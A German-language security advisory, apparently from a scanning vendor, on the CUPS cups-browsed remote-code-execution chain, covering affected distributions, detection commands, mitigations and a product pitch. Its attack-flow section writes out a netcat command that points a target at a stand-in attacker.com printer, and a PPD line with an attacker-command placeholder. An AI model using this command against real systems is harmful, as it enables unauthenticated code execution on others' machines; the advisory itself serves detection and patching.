CVE-2024-47176: CUPS-RCE unter Linux — 300.000 über das Internet erreichbare Systeme
Eine Kette aus vier CUPS-Schwachstellen (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) ermöglicht die nicht authentifizierte Ausführung von Schadcode aus der Ferne auf Linux-Systemen, auf denen cups-browsed ausgeführt wird. Zum Zeitpunkt der Offenlegung waren mehr als 300.000 Systeme über das Internet erreichbar. Standardmäßig betroffen sind Ubuntu, Debian, Red Hat, Fedora und die meisten Linux-Distributionen.
| Attribut | Wert |
|---|---|
| Primäre CVE | CVE-2024-47176 |
| Zugehörige CVEs | CVE-2024-47076, -47175, -47177 |
| CVSS-Vektor | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: Unzureichende Eingabevalidierung |
| Veröffentlicht | 26. September 2024 |
| Ausnutzung | Öffentlicher PoC — opportunistische Scans beobachtet |
Was ist CVE-2024-47176?
CUPS (Common Unix Printing System) ist die standardmäßige Druckinfrastruktur unter Linux und macOS. Der Daemon cups-browsed lauscht auf UDP-Port 631 auf Druckerankündigungen im Netzwerk. CVE-2024-47176 bildet den Einstiegspunkt einer Kette aus vier Schwachstellen: cups-browsed akzeptiert UDP-Pakete aus beliebigen Quellen, einschließlich des Internets, ohne Authentifizierung.
Durch das Senden eines präparierten UDP-Pakets an Port 631 kann ein Angreifer das System des Opfers dazu bringen, eine Verbindung zu einem vom Angreifer kontrollierten „Drucker“ herzustellen. Der schädliche Drucker stellt eine präparierte PPD-Datei (PostScript Printer Description) mit eingebetteten Befehlen bereit. Sobald das Opfer irgendetwas druckt, werden diese Befehle auf seinem System ausgeführt.
Die vollständige Angriffskette
| CVE | Komponente | Beschreibung |
|---|---|---|
| CVE-2024-47176 | cups-browsed | Bindet sich an UDP 0.0.0.0:631 und akzeptiert Pakete von jeder IP-Adresse |
| CVE-2024-47076 | libcupsfilters | IPP-Attributwerte werden beim Erstellen von PPD-Dateien nicht bereinigt |
| CVE-2024-47175 | libppd | Bei der Erzeugung von PPD-Dateien werden IPP-Attribute nicht bereinigt |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine ermöglicht die Ausführung beliebiger Befehle |
Angriffsablauf
# Schritt 1: Der Angreifer sendet ein UDP-Paket an das Ziel:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Schritt 2: cups-browsed ruft IPP-Attribute vom Server des Angreifers ab # Der Server des Angreifers gibt schädliche Druckerattribute zurück # Schritt 3: libcupsfilters/libppd erstellt eine PPD-Datei mit nicht bereinigten Angreiferdaten # Die PPD-Datei enthält: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Schritt 4: Wenn ein Benutzer das nächste Mal druckt (oder ein Administrator einen Testdruck auslöst): # FoomaticRIP führt den Befehl aus der PPD-Datei aus # Der Befehl wird als Benutzer lp ausgeführt (der häufig über weitreichenden Dateisystemzugriff verfügt)
⚠ Nach der Einrichtung ist keine Benutzerinteraktion erforderlich
Der Angreifer muss nur ein einziges UDP-Paket senden, um den schädlichen Drucker einzurichten. Die Ausnutzung wird anschließend ausgelöst, sobald ein beliebiger Benutzer des Systems versucht zu drucken — einschließlich routinemäßiger Druckaufträge, die möglicherweise erst Stunden oder Tage später erfolgen. Auf Servern könnte ein Angreifer die Ausnutzung auch aus der Ferne auslösen, indem er einen Druckauftrag an den neu installierten schädlichen Drucker sendet.
Ausmaß der Auswirkungen
Zum Zeitpunkt der Offenlegung identifizierten Scans von Shodan und Censys etwa 300.000 über das Internet erreichbare Systeme mit geöffnetem UDP-Port 631. Die Schwachstelle betrifft praktisch jede große Linux-Distribution, die cups-browsed mitliefert:
- Ubuntu (cups-browsed ist in Desktop-Editionen standardmäßig aktiviert)
- Debian und davon abgeleitete Distributionen
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- Die meisten Linux-Desktop-Distributionen
macOS ist nicht betroffen, da es einen eigenen Druck-Stack verwendet. Allerdings nutzt macOS intern ebenfalls CUPS, sodass bestimmte Konfigurationen von verwandten Problemen betroffen sein können.
Erkennung
# Prüfen, ob cups-browsed ausgeführt wird systemctl status cups-browsed ps aux | grep cups-browsed # Prüfen, ob UDP 631 erreichbar ist ss -ulnp | grep 631 netstat -ulnp | grep 631 # Auf unerwartet hinzugefügte Drucker prüfen lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Nach verdächtigen PPD-Dateien suchen find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Protokolle auf unerwartete IPP-Verbindungen prüfen grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
Gegenmaßnahmen
- cups-browsed stoppen und deaktivieren, wenn der Dienst nicht benötigt wird:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- Patches installieren: cups-browsed 2.0.1 und cups-filters 2.0.1 beheben die Schwachstellen. Ubuntu, Debian und Red Hat veröffentlichten innerhalb weniger Tage nach der Offenlegung entsprechende Patches.
- UDP-Port 631 an der Firewall blockieren: Verhindern, dass externe Pakete cups-browsed erreichen
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- FoomaticRIP entfernen, wenn es nicht benötigt wird: Der letzte RCE-Schritt erfordert foomatic-rip. Durch dessen Entfernung (sofern keine Foomatic-Drucker verwendet werden) wird die Möglichkeit zur Codeausführung beseitigt.
- Druckerkonfigurationen überprüfen: Alle unbekannten Druckereinträge aus
/etc/cups/printers.confentfernen
💡 Die meisten Server sind nicht gefährdet: Bei Serverinstallationen von Linux wird cups-browsed üblicherweise nicht standardmäßig installiert. Das höhere Risiko besteht bei Linux-Arbeitsstationen und Entwicklungsrechnern. Dennoch sollte jedes Linux-System überprüft werden, das für das Drucken konfiguriert wurde.
Erkennungsfunktionen von KENSAI
- Scannen von UDP-Ports: KENSAI identifiziert über das Internet erreichbare UDP-631-Dienste in Ihrer externen Angriffsfläche
- Service-Fingerprinting: Identifiziert anhand von Netzwerkantworten die CUPS-Version und das Vorhandensein von cups-browsed
- Scannen interner Netzwerke: Der interne Scanner von KENSAI identifiziert cups-browsed auf internen Linux-Arbeitsstationen und Servern
- Erkennung von Paketversionen: Agentenbasierte Scans identifizieren anfällige CUPS-Paketversionen auf Linux-Endgeräten
- Anleitung zur Behebung: Schrittweise Anweisungen zur Behebung mit betriebssystemspezifischen Befehlen für Ihre Distribution
Auf wie vielen Linux-Systemen in Ihrer Umgebung ist cups-browsed erreichbar?
KENSAI scannt Ihre interne und externe Angriffsfläche auf CUPS-Schwachstellen in allen Linux-Systemen. Verschaffen Sie sich innerhalb weniger Minuten einen vollständigen Überblick.
Offengelegte CUPS-Dienste finden →